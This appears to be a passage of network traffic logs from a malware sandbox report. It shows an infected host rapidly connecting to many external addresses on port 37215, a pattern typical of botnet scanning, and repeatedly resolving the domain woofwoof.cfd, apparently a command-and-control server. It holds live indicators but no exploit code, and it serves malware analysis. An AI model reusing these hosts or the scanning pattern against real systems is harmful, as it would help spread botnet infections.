Jun 10, 2024 15:38:00.197355032 CEST	33150	37215	192.168.2.13	41.237.134.242
Jun 10, 2024 15:38:00.197536945 CEST	48962	37215	192.168.2.13	41.154.147.59
Jun 10, 2024 15:38:00.198031902 CEST	54544	37215	192.168.2.13	197.181.198.133
Jun 10, 2024 15:38:00.198031902 CEST	54544	37215	192.168.2.13	197.181.198.133
Jun 10, 2024 15:38:00.198055983 CEST	37215	48694	41.226.55.109	192.168.2.13
Jun 10, 2024 15:38:00.198091984 CEST	48694	37215	192.168.2.13	41.226.55.109
Jun 10, 2024 15:38:00.198401928 CEST	54832	37215	192.168.2.13	197.181.198.133
Jun 10, 2024 15:38:00.198543072 CEST	37215	48172	156.168.245.29	192.168.2.13
Jun 10, 2024 15:38:00.198882103 CEST	40706	37215	192.168.2.13	41.229.216.231
Jun 10, 2024 15:38:00.198898077 CEST	40706	37215	192.168.2.13	41.229.216.231
Jun 10, 2024 15:38:00.199079037 CEST	37215	48460	156.168.245.29	192.168.2.13
Jun 10, 2024 15:38:00.199088097 CEST	37215	34652	41.154.67.6	192.168.2.13
Jun 10, 2024 15:38:00.199116945 CEST	48460	37215	192.168.2.13	156.168.245.29
Jun 10, 2024 15:38:00.199260950 CEST	40994	37215	192.168.2.13	41.229.216.231
Jun 10, 2024 15:38:00.199650049 CEST	37215	34940	41.154.67.6	192.168.2.13
Jun 10, 2024 15:38:00.199665070 CEST	37215	43578	197.105.96.234	192.168.2.13
Jun 10, 2024 15:38:00.199685097 CEST	34940	37215	192.168.2.13	41.154.67.6
Jun 10, 2024 15:38:00.199727058 CEST	35058	37215	192.168.2.13	41.251.58.239
Jun 10, 2024 15:38:00.199727058 CEST	35058	37215	192.168.2.13	41.251.58.239
Jun 10, 2024 15:38:00.200062990 CEST	35346	37215	192.168.2.13	41.251.58.239
Jun 10, 2024 15:38:00.200078011 CEST	37215	43866	197.105.96.234	192.168.2.13
Jun 10, 2024 15:38:00.200114965 CEST	43866	37215	192.168.2.13	197.105.96.234
Jun 10, 2024 15:38:00.200486898 CEST	38990	37215	192.168.2.13	197.73.57.101
Jun 10, 2024 15:38:00.200486898 CEST	38990	37215	192.168.2.13	197.73.57.101
Jun 10, 2024 15:38:00.200695992 CEST	37215	37402	197.153.65.158	192.168.2.13
Jun 10, 2024 15:38:00.200705051 CEST	37215	37690	197.153.65.158	192.168.2.13
Jun 10, 2024 15:38:00.200737000 CEST	37690	37215	192.168.2.13	197.153.65.158
Jun 10, 2024 15:38:00.200809956 CEST	39278	37215	192.168.2.13	197.73.57.101
Jun 10, 2024 15:38:00.201122046 CEST	37215	34518	156.156.125.193	192.168.2.13
Jun 10, 2024 15:38:00.201248884 CEST	56976	37215	192.168.2.13	156.79.171.4
Jun 10, 2024 15:38:00.201248884 CEST	56976	37215	192.168.2.13	156.79.171.4
Jun 10, 2024 15:38:00.201572895 CEST	57264	37215	192.168.2.13	156.79.171.4
Jun 10, 2024 15:38:00.201714039 CEST	37215	34806	156.156.125.193	192.168.2.13
Jun 10, 2024 15:38:00.201755047 CEST	34806	37215	192.168.2.13	156.156.125.193
Jun 10, 2024 15:38:00.201759100 CEST	37215	48942	197.159.13.233	192.168.2.13
Jun 10, 2024 15:38:00.201767921 CEST	37215	49230	197.159.13.233	192.168.2.13
Jun 10, 2024 15:38:00.201797009 CEST	49230	37215	192.168.2.13	197.159.13.233
Jun 10, 2024 15:38:00.201992989 CEST	34464	37215	192.168.2.13	197.63.251.49
Jun 10, 2024 15:38:00.201992989 CEST	34464	37215	192.168.2.13	197.63.251.49
Jun 10, 2024 15:38:00.202321053 CEST	37215	48674	41.154.147.59	192.168.2.13
Jun 10, 2024 15:38:00.202353001 CEST	34752	37215	192.168.2.13	197.63.251.49
Jun 10, 2024 15:38:00.202796936 CEST	49114	37215	192.168.2.13	41.206.110.186
Jun 10, 2024 15:38:00.202796936 CEST	49114	37215	192.168.2.13	41.206.110.186
Jun 10, 2024 15:38:00.202836990 CEST	37215	48962	41.154.147.59	192.168.2.13
Jun 10, 2024 15:38:00.202874899 CEST	48962	37215	192.168.2.13	41.154.147.59
Jun 10, 2024 15:38:00.203120947 CEST	49402	37215	192.168.2.13	41.206.110.186
Jun 10, 2024 15:38:00.203373909 CEST	37215	54544	197.181.198.133	192.168.2.13
Jun 10, 2024 15:38:00.203547001 CEST	45678	37215	192.168.2.13	197.246.123.244
Jun 10, 2024 15:38:00.203547001 CEST	45678	37215	192.168.2.13	197.246.123.244
Jun 10, 2024 15:38:00.203876019 CEST	45966	37215	192.168.2.13	197.246.123.244
Jun 10, 2024 15:38:00.203996897 CEST	37215	54832	197.181.198.133	192.168.2.13
Jun 10, 2024 15:38:00.204034090 CEST	54832	37215	192.168.2.13	197.181.198.133
Jun 10, 2024 15:38:00.204044104 CEST	37215	40706	41.229.216.231	192.168.2.13
Jun 10, 2024 15:38:00.204323053 CEST	45564	37215	192.168.2.13	41.168.73.24
Jun 10, 2024 15:38:00.204323053 CEST	45564	37215	192.168.2.13	41.168.73.24
Jun 10, 2024 15:38:00.204550028 CEST	37215	40994	41.229.216.231	192.168.2.13
Jun 10, 2024 15:38:00.204586029 CEST	40994	37215	192.168.2.13	41.229.216.231
Jun 10, 2024 15:38:00.204672098 CEST	45852	37215	192.168.2.13	41.168.73.24
Jun 10, 2024 15:38:00.205113888 CEST	43116	37215	192.168.2.13	41.237.191.106
Jun 10, 2024 15:38:00.205113888 CEST	43116	37215	192.168.2.13	41.237.191.106
Jun 10, 2024 15:38:00.205147982 CEST	37215	35058	41.251.58.239	192.168.2.13
Jun 10, 2024 15:38:00.205157995 CEST	37215	35346	41.251.58.239	192.168.2.13
Jun 10, 2024 15:38:00.205188036 CEST	35346	37215	192.168.2.13	41.251.58.239
Jun 10, 2024 15:38:00.205432892 CEST	43404	37215	192.168.2.13	41.237.191.106
Jun 10, 2024 15:38:00.205678940 CEST	37215	38990	197.73.57.101	192.168.2.13
Jun 10, 2024 15:38:00.205893040 CEST	36610	37215	192.168.2.13	197.128.46.215
Jun 10, 2024 15:38:00.205909967 CEST	36610	37215	192.168.2.13	197.128.46.215
Jun 10, 2024 15:38:00.206197023 CEST	37215	39278	197.73.57.101	192.168.2.13
Jun 10, 2024 15:38:00.206216097 CEST	37215	56976	156.79.171.4	192.168.2.13
Jun 10, 2024 15:38:00.206228018 CEST	39278	37215	192.168.2.13	197.73.57.101
Jun 10, 2024 15:38:00.206264973 CEST	36898	37215	192.168.2.13	197.128.46.215
Jun 10, 2024 15:38:00.206691980 CEST	47676	37215	192.168.2.13	41.39.55.229
Jun 10, 2024 15:38:00.206691980 CEST	47676	37215	192.168.2.13	41.39.55.229
Jun 10, 2024 15:38:00.206783056 CEST	37215	57264	156.79.171.4	192.168.2.13
Jun 10, 2024 15:38:00.206816912 CEST	57264	37215	192.168.2.13	156.79.171.4
Jun 10, 2024 15:38:00.207021952 CEST	47964	37215	192.168.2.13	41.39.55.229
Jun 10, 2024 15:38:00.207385063 CEST	37215	34464	197.63.251.49	192.168.2.13
Jun 10, 2024 15:38:00.207393885 CEST	37215	34752	197.63.251.49	192.168.2.13
Jun 10, 2024 15:38:00.207437038 CEST	34752	37215	192.168.2.13	197.63.251.49
Jun 10, 2024 15:38:00.207478046 CEST	59202	37215	192.168.2.13	156.200.117.215
Jun 10, 2024 15:38:00.207478046 CEST	59202	37215	192.168.2.13	156.200.117.215
Jun 10, 2024 15:38:00.207804918 CEST	59490	37215	192.168.2.13	156.200.117.215
Jun 10, 2024 15:38:00.207967997 CEST	37215	49114	41.206.110.186	192.168.2.13
Jun 10, 2024 15:38:00.208123922 CEST	37215	48962	41.154.147.59	192.168.2.13
Jun 10, 2024 15:38:00.208229065 CEST	58864	37215	192.168.2.13	156.181.42.38
Jun 10, 2024 15:38:00.208239079 CEST	58864	37215	192.168.2.13	156.181.42.38
Jun 10, 2024 15:38:00.208498955 CEST	37215	49402	41.206.110.186	192.168.2.13
Jun 10, 2024 15:38:00.208534002 CEST	49402	37215	192.168.2.13	41.206.110.186
Jun 10, 2024 15:38:00.208547115 CEST	37215	45678	197.246.123.244	192.168.2.13
Jun 10, 2024 15:38:00.208550930 CEST	59152	37215	192.168.2.13	156.181.42.38
Jun 10, 2024 15:38:00.208651066 CEST	37215	45966	197.246.123.244	192.168.2.13
Jun 10, 2024 15:38:00.208682060 CEST	45966	37215	192.168.2.13	197.246.123.244
Jun 10, 2024 15:38:00.208905935 CEST	37215	54832	197.181.198.133	192.168.2.13
Jun 10, 2024 15:38:00.208966017 CEST	42074	37215	192.168.2.13	156.250.0.84
Jun 10, 2024 15:38:00.208966017 CEST	42074	37215	192.168.2.13	156.250.0.84
Jun 10, 2024 15:38:00.209134102 CEST	37215	45564	41.168.73.24	192.168.2.13
Jun 10, 2024 15:38:00.209305048 CEST	42362	37215	192.168.2.13	156.250.0.84
Jun 10, 2024 15:38:00.209434986 CEST	37215	45852	41.168.73.24	192.168.2.13
Jun 10, 2024 15:38:00.209476948 CEST	37215	40994	41.229.216.231	192.168.2.13
Jun 10, 2024 15:38:00.209481955 CEST	45852	37215	192.168.2.13	41.168.73.24
Jun 10, 2024 15:38:00.209800005 CEST	46028	37215	192.168.2.13	156.46.209.218
Jun 10, 2024 15:38:00.209800005 CEST	46028	37215	192.168.2.13	156.46.209.218
Jun 10, 2024 15:38:00.209975004 CEST	37215	43116	41.237.191.106	192.168.2.13
Jun 10, 2024 15:38:00.210165977 CEST	46316	37215	192.168.2.13	156.46.209.218
Jun 10, 2024 15:38:00.210246086 CEST	37215	35346	41.251.58.239	192.168.2.13
Jun 10, 2024 15:38:00.210253954 CEST	37215	43404	41.237.191.106	192.168.2.13
Jun 10, 2024 15:38:00.210289955 CEST	43404	37215	192.168.2.13	41.237.191.106
Jun 10, 2024 15:38:00.210602999 CEST	37215	33540	41.69.228.208	192.168.2.13
Jun 10, 2024 15:38:00.210611105 CEST	37215	57854	156.211.139.234	192.168.2.13
Jun 10, 2024 15:38:00.210618973 CEST	37215	44468	156.134.62.117	192.168.2.13
Jun 10, 2024 15:38:00.210628033 CEST	37215	48850	156.202.215.189	192.168.2.13
Jun 10, 2024 15:38:00.210634947 CEST	37215	60154	197.176.59.104	192.168.2.13
Jun 10, 2024 15:38:00.210637093 CEST	50210	37215	192.168.2.13	156.62.210.214
Jun 10, 2024 15:38:00.210642099 CEST	37215	55306	156.199.176.162	192.168.2.13
Jun 10, 2024 15:38:00.210649967 CEST	37215	37698	41.34.192.208	192.168.2.13
Jun 10, 2024 15:38:00.210678101 CEST	50210	37215	192.168.2.13	156.62.210.214
Jun 10, 2024 15:38:00.210840940 CEST	37215	36610	197.128.46.215	192.168.2.13
Jun 10, 2024 15:38:00.211035967 CEST	50498	37215	192.168.2.13	156.62.210.214
Jun 10, 2024 15:38:00.211060047 CEST	37215	36898	197.128.46.215	192.168.2.13
Jun 10, 2024 15:38:00.211097002 CEST	36898	37215	192.168.2.13	197.128.46.215
Jun 10, 2024 15:38:00.211143970 CEST	37215	39278	197.73.57.101	192.168.2.13
Jun 10, 2024 15:38:00.211497068 CEST	45922	37215	192.168.2.13	156.25.179.14
Jun 10, 2024 15:38:00.211509943 CEST	45922	37215	192.168.2.13	156.25.179.14
Jun 10, 2024 15:38:00.211560011 CEST	37215	47676	41.39.55.229	192.168.2.13
Jun 10, 2024 15:38:00.211790085 CEST	37215	47964	41.39.55.229	192.168.2.13
Jun 10, 2024 15:38:00.211829901 CEST	47964	37215	192.168.2.13	41.39.55.229
Jun 10, 2024 15:38:00.211859941 CEST	46210	37215	192.168.2.13	156.25.179.14
Jun 10, 2024 15:38:00.211884975 CEST	37215	57264	156.79.171.4	192.168.2.13
Jun 10, 2024 15:38:00.211893082 CEST	40994	37215	192.168.2.13	41.229.216.231
Jun 10, 2024 15:38:00.211893082 CEST	39278	37215	192.168.2.13	197.73.57.101
Jun 10, 2024 15:38:00.211900949 CEST	54832	37215	192.168.2.13	197.181.198.133
Jun 10, 2024 15:38:00.211908102 CEST	35346	37215	192.168.2.13	41.251.58.239
Jun 10, 2024 15:38:00.211908102 CEST	48962	37215	192.168.2.13	41.154.147.59
Jun 10, 2024 15:38:00.212308884 CEST	55900	37215	192.168.2.13	197.128.202.20
Jun 10, 2024 15:38:00.212321043 CEST	55900	37215	192.168.2.13	197.128.202.20
Jun 10, 2024 15:38:00.212332964 CEST	37215	59202	156.200.117.215	192.168.2.13
Jun 10, 2024 15:38:00.212413073 CEST	37215	34752	197.63.251.49	192.168.2.13
Jun 10, 2024 15:38:00.212626934 CEST	37215	59490	156.200.117.215	192.168.2.13
Jun 10, 2024 15:38:00.212663889 CEST	59490	37215	192.168.2.13	156.200.117.215
Jun 10, 2024 15:38:00.212682962 CEST	56188	37215	192.168.2.13	197.128.202.20
Jun 10, 2024 15:38:00.213044882 CEST	37215	58864	156.181.42.38	192.168.2.13
Jun 10, 2024 15:38:00.213145971 CEST	44874	37215	192.168.2.13	197.126.47.34
Jun 10, 2024 15:38:00.213145971 CEST	44874	37215	192.168.2.13	197.126.47.34
Jun 10, 2024 15:38:00.213381052 CEST	37215	59152	156.181.42.38	192.168.2.13
Jun 10, 2024 15:38:00.213421106 CEST	59152	37215	192.168.2.13	156.181.42.38
Jun 10, 2024 15:38:00.213460922 CEST	37215	49402	41.206.110.186	192.168.2.13
Jun 10, 2024 15:38:00.213521004 CEST	45162	37215	192.168.2.13	197.126.47.34
Jun 10, 2024 15:38:00.213577986 CEST	37215	45966	197.246.123.244	192.168.2.13
Jun 10, 2024 15:38:00.213749886 CEST	37215	42074	156.250.0.84	192.168.2.13
Jun 10, 2024 15:38:00.213967085 CEST	58106	37215	192.168.2.13	197.144.113.129
Jun 10, 2024 15:38:00.213967085 CEST	58106	37215	192.168.2.13	197.144.113.129
Jun 10, 2024 15:38:00.214133978 CEST	37215	42362	156.250.0.84	192.168.2.13
Jun 10, 2024 15:38:00.214171886 CEST	42362	37215	192.168.2.13	156.250.0.84
Jun 10, 2024 15:38:00.214312077 CEST	58394	37215	192.168.2.13	197.144.113.129
Jun 10, 2024 15:38:00.214446068 CEST	37215	45852	41.168.73.24	192.168.2.13
Jun 10, 2024 15:38:00.214608908 CEST	37215	46028	156.46.209.218	192.168.2.13
Jun 10, 2024 15:38:00.214767933 CEST	50926	37215	192.168.2.13	197.29.244.234
Jun 10, 2024 15:38:00.214778900 CEST	50926	37215	192.168.2.13	197.29.244.234
Jun 10, 2024 15:38:00.214968920 CEST	37215	46316	156.46.209.218	192.168.2.13
Jun 10, 2024 15:38:00.215009928 CEST	46316	37215	192.168.2.13	156.46.209.218
Jun 10, 2024 15:38:00.215131044 CEST	51214	37215	192.168.2.13	197.29.244.234
Jun 10, 2024 15:38:00.215202093 CEST	37215	43404	41.237.191.106	192.168.2.13
Jun 10, 2024 15:38:00.215450048 CEST	37215	50210	156.62.210.214	192.168.2.13
Jun 10, 2024 15:38:00.215590000 CEST	57534	37215	192.168.2.13	156.166.206.200
Jun 10, 2024 15:38:00.215600967 CEST	57534	37215	192.168.2.13	156.166.206.200
Jun 10, 2024 15:38:00.215879917 CEST	37215	50498	156.62.210.214	192.168.2.13
Jun 10, 2024 15:38:00.215893030 CEST	43404	37215	192.168.2.13	41.237.191.106
Jun 10, 2024 15:38:00.215898991 CEST	45852	37215	192.168.2.13	41.168.73.24
Jun 10, 2024 15:38:00.215898991 CEST	45966	37215	192.168.2.13	197.246.123.244
Jun 10, 2024 15:38:00.215918064 CEST	34752	37215	192.168.2.13	197.63.251.49
Jun 10, 2024 15:38:00.215925932 CEST	50498	37215	192.168.2.13	156.62.210.214
Jun 10, 2024 15:38:00.215944052 CEST	57822	37215	192.168.2.13	156.166.206.200
Jun 10, 2024 15:38:00.216094971 CEST	37215	36898	197.128.46.215	192.168.2.13
Jun 10, 2024 15:38:00.216327906 CEST	37215	45922	156.25.179.14	192.168.2.13
Jun 10, 2024 15:38:00.216411114 CEST	34482	37215	192.168.2.13	41.10.140.61
Jun 10, 2024 15:38:00.216423035 CEST	34482	37215	192.168.2.13	41.10.140.61
Jun 10, 2024 15:38:00.216763973 CEST	37215	46210	156.25.179.14	192.168.2.13
Jun 10, 2024 15:38:00.216783047 CEST	34770	37215	192.168.2.13	41.10.140.61
Jun 10, 2024 15:38:00.216799021 CEST	46210	37215	192.168.2.13	156.25.179.14
Jun 10, 2024 15:38:00.216811895 CEST	37215	47964	41.39.55.229	192.168.2.13
Jun 10, 2024 15:38:00.217170000 CEST	37215	55900	197.128.202.20	192.168.2.13
Jun 10, 2024 15:38:00.217259884 CEST	41384	37215	192.168.2.13	156.203.151.228
Jun 10, 2024 15:38:00.217259884 CEST	41384	37215	192.168.2.13	156.203.151.228
Jun 10, 2024 15:38:00.217499018 CEST	37215	56188	197.128.202.20	192.168.2.13
Jun 10, 2024 15:38:00.217538118 CEST	56188	37215	192.168.2.13	197.128.202.20
Jun 10, 2024 15:38:00.217607021 CEST	37215	59490	156.200.117.215	192.168.2.13
Jun 10, 2024 15:38:00.217622042 CEST	41672	37215	192.168.2.13	156.203.151.228
Jun 10, 2024 15:38:00.217955112 CEST	37215	44874	197.126.47.34	192.168.2.13
Jun 10, 2024 15:38:00.218072891 CEST	45262	37215	192.168.2.13	156.193.239.253
Jun 10, 2024 15:38:00.218089104 CEST	45262	37215	192.168.2.13	156.193.239.253
Jun 10, 2024 15:38:00.218329906 CEST	37215	45162	197.126.47.34	192.168.2.13
Jun 10, 2024 15:38:00.218367100 CEST	45162	37215	192.168.2.13	197.126.47.34
Jun 10, 2024 15:38:00.218425989 CEST	45550	37215	192.168.2.13	156.193.239.253
Jun 10, 2024 15:38:00.218449116 CEST	37215	59152	156.181.42.38	192.168.2.13
Jun 10, 2024 15:38:00.218592882 CEST	37215	60102	197.140.21.238	192.168.2.13
Jun 10, 2024 15:38:00.218655109 CEST	37215	59702	156.123.237.221	192.168.2.13
Jun 10, 2024 15:38:00.218662024 CEST	37215	34632	41.79.189.48	192.168.2.13
Jun 10, 2024 15:38:00.218669891 CEST	37215	36522	41.139.140.243	192.168.2.13
Jun 10, 2024 15:38:00.218676090 CEST	37215	57678	41.13.119.15	192.168.2.13
Jun 10, 2024 15:38:00.218683958 CEST	37215	37844	156.195.94.23	192.168.2.13
Jun 10, 2024 15:38:00.218691111 CEST	37215	57464	41.65.114.229	192.168.2.13
Jun 10, 2024 15:38:00.218698025 CEST	37215	55296	156.209.45.106	192.168.2.13
Jun 10, 2024 15:38:00.218755960 CEST	37215	58106	197.144.113.129	192.168.2.13
Jun 10, 2024 15:38:00.218889952 CEST	47364	37215	192.168.2.13	156.60.167.234
Jun 10, 2024 15:38:00.218904972 CEST	47364	37215	192.168.2.13	156.60.167.234
Jun 10, 2024 15:38:00.219089031 CEST	37215	58394	197.144.113.129	192.168.2.13
Jun 10, 2024 15:38:00.219131947 CEST	58394	37215	192.168.2.13	197.144.113.129
Jun 10, 2024 15:38:00.219212055 CEST	37215	42362	156.250.0.84	192.168.2.13
Jun 10, 2024 15:38:00.219261885 CEST	47652	37215	192.168.2.13	156.60.167.234
Jun 10, 2024 15:38:00.219718933 CEST	37215	50926	197.29.244.234	192.168.2.13
Jun 10, 2024 15:38:00.219729900 CEST	46594	37215	192.168.2.13	41.228.140.97
Jun 10, 2024 15:38:00.219729900 CEST	46594	37215	192.168.2.13	41.228.140.97
Jun 10, 2024 15:38:00.219890118 CEST	42362	37215	192.168.2.13	156.250.0.84
Jun 10, 2024 15:38:00.219892979 CEST	59490	37215	192.168.2.13	156.200.117.215
Jun 10, 2024 15:38:00.219894886 CEST	49402	37215	192.168.2.13	41.206.110.186
Jun 10, 2024 15:38:00.219899893 CEST	57264	37215	192.168.2.13	156.79.171.4
Jun 10, 2024 15:38:00.219899893 CEST	47964	37215	192.168.2.13	41.39.55.229
Jun 10, 2024 15:38:00.219902039 CEST	59152	37215	192.168.2.13	156.181.42.38
Jun 10, 2024 15:38:00.219907045 CEST	36898	37215	192.168.2.13	197.128.46.215
Jun 10, 2024 15:38:00.219922066 CEST	37215	51214	197.29.244.234	192.168.2.13
Jun 10, 2024 15:38:00.219961882 CEST	51214	37215	192.168.2.13	197.29.244.234
Jun 10, 2024 15:38:00.220097065 CEST	37215	46316	156.46.209.218	192.168.2.13
Jun 10, 2024 15:38:00.220141888 CEST	46882	37215	192.168.2.13	41.228.140.97
Jun 10, 2024 15:38:00.220423937 CEST	37215	57534	156.166.206.200	192.168.2.13
Jun 10, 2024 15:38:00.220634937 CEST	34654	37215	192.168.2.13	156.16.252.113
Jun 10, 2024 15:38:00.220634937 CEST	34654	37215	192.168.2.13	156.16.252.113
Jun 10, 2024 15:38:00.220845938 CEST	37215	57822	156.166.206.200	192.168.2.13
Jun 10, 2024 15:38:00.220880032 CEST	57822	37215	192.168.2.13	156.166.206.200
Jun 10, 2024 15:38:00.220954895 CEST	37215	50498	156.62.210.214	192.168.2.13
Jun 10, 2024 15:38:00.221019030 CEST	34942	37215	192.168.2.13	156.16.252.113
Jun 10, 2024 15:38:00.221193075 CEST	37215	34482	41.10.140.61	192.168.2.13
Jun 10, 2024 15:38:00.221508026 CEST	54140	37215	192.168.2.13	197.225.243.209
Jun 10, 2024 15:38:00.221508026 CEST	54140	37215	192.168.2.13	197.225.243.209
Jun 10, 2024 15:38:00.221601009 CEST	37215	34770	41.10.140.61	192.168.2.13
Jun 10, 2024 15:38:00.221642971 CEST	34770	37215	192.168.2.13	41.10.140.61
Jun 10, 2024 15:38:00.221726894 CEST	37215	46210	156.25.179.14	192.168.2.13
Jun 10, 2024 15:38:00.221888065 CEST	54428	37215	192.168.2.13	197.225.243.209
Jun 10, 2024 15:38:00.222049952 CEST	37215	41384	156.203.151.228	192.168.2.13
Jun 10, 2024 15:38:00.222372055 CEST	57074	37215	192.168.2.13	41.9.164.177
Jun 10, 2024 15:38:00.222382069 CEST	57074	37215	192.168.2.13	41.9.164.177
Jun 10, 2024 15:38:00.222440004 CEST	37215	41672	156.203.151.228	192.168.2.13
Jun 10, 2024 15:38:00.222449064 CEST	37215	56188	197.128.202.20	192.168.2.13
Jun 10, 2024 15:38:00.222475052 CEST	41672	37215	192.168.2.13	156.203.151.228
Jun 10, 2024 15:38:00.222747087 CEST	57362	37215	192.168.2.13	41.9.164.177
Jun 10, 2024 15:38:00.222878933 CEST	37215	45262	156.193.239.253	192.168.2.13
Jun 10, 2024 15:38:00.223242044 CEST	50042	37215	192.168.2.13	197.42.26.190
Jun 10, 2024 15:38:00.223242044 CEST	50042	37215	192.168.2.13	197.42.26.190
Jun 10, 2024 15:38:00.223314047 CEST	37215	45550	156.193.239.253	192.168.2.13
Jun 10, 2024 15:38:00.223323107 CEST	37215	45162	197.126.47.34	192.168.2.13
Jun 10, 2024 15:38:00.223346949 CEST	45550	37215	192.168.2.13	156.193.239.253
Jun 10, 2024 15:38:00.223607063 CEST	50330	37215	192.168.2.13	197.42.26.190
Jun 10, 2024 15:38:00.223692894 CEST	37215	47364	156.60.167.234	192.168.2.13
Jun 10, 2024 15:38:00.223896027 CEST	45162	37215	192.168.2.13	197.126.47.34
Jun 10, 2024 15:38:00.223897934 CEST	46210	37215	192.168.2.13	156.25.179.14
Jun 10, 2024 15:38:00.223905087 CEST	50498	37215	192.168.2.13	156.62.210.214
Jun 10, 2024 15:38:00.223913908 CEST	46316	37215	192.168.2.13	156.46.209.218
Jun 10, 2024 15:38:00.224052906 CEST	37215	47652	156.60.167.234	192.168.2.13
Jun 10, 2024 15:38:00.224091053 CEST	47652	37215	192.168.2.13	156.60.167.234
Jun 10, 2024 15:38:00.224095106 CEST	37215	58394	197.144.113.129	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 10, 2024 15:37:58.472934961 CEST	192.168.2.13	8.8.8.8	0x502f	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:08.020407915 CEST	192.168.2.13	8.8.8.8	0xcb44	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:08.898241043 CEST	192.168.2.13	8.8.8.8	0x3e1e	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:18.409126043 CEST	192.168.2.13	8.8.8.8	0xd0a	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:19.272499084 CEST	192.168.2.13	8.8.8.8	0xf2a9	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:20.143284082 CEST	192.168.2.13	8.8.8.8	0xcb81	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:20.998470068 CEST	192.168.2.13	8.8.8.8	0x32e0	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:21.874524117 CEST	192.168.2.13	8.8.8.8	0x8357	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:31.369682074 CEST	192.168.2.13	8.8.8.8	0x1b28	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:40.866195917 CEST	192.168.2.13	8.8.8.8	0x17dc	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:41.721981049 CEST	192.168.2.13	8.8.8.8	0x5b42	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:42.570431948 CEST	192.168.2.13	8.8.8.8	0xf4be	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:52.069279909 CEST	192.168.2.13	8.8.8.8	0xeb7d	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:52.920135975 CEST	192.168.2.13	8.8.8.8	0x6d24	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:53.772679090 CEST	192.168.2.13	8.8.8.8	0x119b	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:54.872304916 CEST	192.168.2.13	8.8.8.8	0xd19e	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:55.723572016 CEST	192.168.2.13	8.8.8.8	0x391c	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:05.214247942 CEST	192.168.2.13	8.8.8.8	0xa6b4	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:14.710688114 CEST	192.168.2.13	8.8.8.8	0x7c3a	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:15.544253111 CEST	192.168.2.13	8.8.8.8	0xfed4	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:25.031245947 CEST	192.168.2.13	8.8.8.8	0x4874	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:34.527118921 CEST	192.168.2.13	8.8.8.8	0xf27c	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:44.017738104 CEST	192.168.2.13	8.8.8.8	0x63bc	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:53.511744976 CEST	192.168.2.13	8.8.8.8	0x1954	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:54.394423008 CEST	192.168.2.13	8.8.8.8	0x7036	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jun 10, 2024 15:37:58.501351118 CEST	8.8.8.8	192.168.2.13	0x502f	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:37:58.501351118 CEST	8.8.8.8	192.168.2.13	0x502f	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:08.026688099 CEST	8.8.8.8	192.168.2.13	0xcb44	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:08.026688099 CEST	8.8.8.8	192.168.2.13	0xcb44	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:08.905530930 CEST	8.8.8.8	192.168.2.13	0x3e1e	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:08.905530930 CEST	8.8.8.8	192.168.2.13	0x3e1e	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:18.416697025 CEST	8.8.8.8	192.168.2.13	0xd0a	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:18.416697025 CEST	8.8.8.8	192.168.2.13	0xd0a	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:19.279400110 CEST	8.8.8.8	192.168.2.13	0xf2a9	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:19.279400110 CEST	8.8.8.8	192.168.2.13	0xf2a9	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
